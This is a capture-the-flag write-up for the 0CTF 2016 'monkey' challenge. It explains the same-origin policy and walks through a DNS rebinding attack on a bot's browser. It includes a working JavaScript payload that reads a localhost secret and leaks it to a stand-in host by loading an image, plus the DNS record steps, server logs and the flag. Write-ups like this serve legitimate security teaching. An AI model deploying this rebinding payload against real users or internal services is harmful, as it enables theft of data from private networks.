What is Same Origin Policy?

you can test this problem on your local machine

http://202.120.7.200

Challenge Overview

By pointing the browser to http://202.120.7.200 we access the form below.

monkey

Basically, after solving the simple cryptographic CAPTCHA, we can provide a link to a webpage under our control which will be visited by the monkey bot. We should then exfiltrate the content of http://127.0.0.1:8080/secret and send it back to our server.

The problem here is that scripts loaded from a page cannot access data in a second web page if the two webpages have different origins. This is a pivotal concept in the web application security model known as same-origin policy.

Cross-origin requests can be performed using the CORS mechanism or the JSONP trick. Both these methods require the different origins to cooperate in order to allow the first origin to fetch the requested data.

Exploitation

We can safely argue that in this case the http://127.0.0.1:8080/ website won’t be so kind to explicitly allow cross-origin requests, hence we must bypass the SOP using some vulnerability. Given the diverse channels which can be exploited to cause a data leakage between two origins, it is very difficult for browser vendors to effectively implement the SOP. Just google for sop bypass to get an idea. Sadly, all the SOP-bypass methods we tried resulted unsuccessful.

Finally, we came out with the idea of using DNS rebinding, a technique which circumvents the protection enforced by the SOP by abusing the Domain Name System (DNS). The outline of the attack is the following:

  • we create a custom A record with a short TTL on a DNS server under our control, such as foo.example.com. 59 IN A 203.0.113.79
  • we serve to the bot the webpage http://foo.example.com:8080/index.html containing a JavaScript code that will sleep for a few seconds and perform further actions
  • right after providing the malicious URL to the bot, we alter the previously created DNS record so that the domain will respond with 127.0.0.1 to next requests, e.g. foo.example.com. 59 IN A 127.0.0.1. Notice that the short TTL prevents the first response of the DNS server from being cached by the browser
  • after 90 seconds, the JavaScript loaded from http://foo.example.com:8080/index.html will trick the browser into performing a same-origin request to the original domain name which now points to a different IP address. Indeed, by performing a XHR request to http://foo.example.com:8080/secret the http://127.0.0.1:8080/secret page is loaded and its content can be leaked to our server by loading an image with a src attribute pointing to our server and containing the page content.

The code used for http://foo.example.com:8080/index.html can be found below

<html>
<head>
<script>
setTimeout(function() {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if(xhr.readyState == XMLHttpRequest.DONE) {
            var secret = xhr.responseText;

            var image = document.images[0];
            var downloadingImage = new Image();
            downloadingImage.onload = function(){
                image.src = this.src;   
            };
            downloadingImage.src = "http://bar.example.com/pwnd?secret=" + secret;
        }
    }
    xhr.open('GET', 'http://foo.example.com:8080/secret', true);
    xhr.send(null);
}, 90000);
</script>
</head>

<body>
Oh hi <code>_o/</code>, I really want to pwn the monkey!
<img src="fail.png">
</body>
</html>

Webserver logs of foo.example.com:

202.120.7.200 - - [13/Mar/2016:21:23:11 +0100] "GET / HTTP/1.1" 200 649 "-" "Mozilla/5.0 0CTF by md5_salt" "1.73"
202.120.7.200 - - [13/Mar/2016:21:23:11 +0100] "GET /fail.png HTTP/1.1" 200 251 "http://foo.example.com:8080/" "Mozilla/5.0 0CTF by md5_salt" "-"

Webserver logs of bar.example.com:

202.120.7.200 - - [13/Mar/2016:21:24:40 +0100] "GET /pwnd?secret=0ctf%7Bmonkey_likes_banananananananaaaa%7D HTTP/1.1" 404 496 "http://foo.example.com:8080/" "Mozilla/5.0 0CTF by md5_salt"

Flag: 0ctf{monkey_likes_banananananananaaaa}

Thanks to 0ops for this great challenge!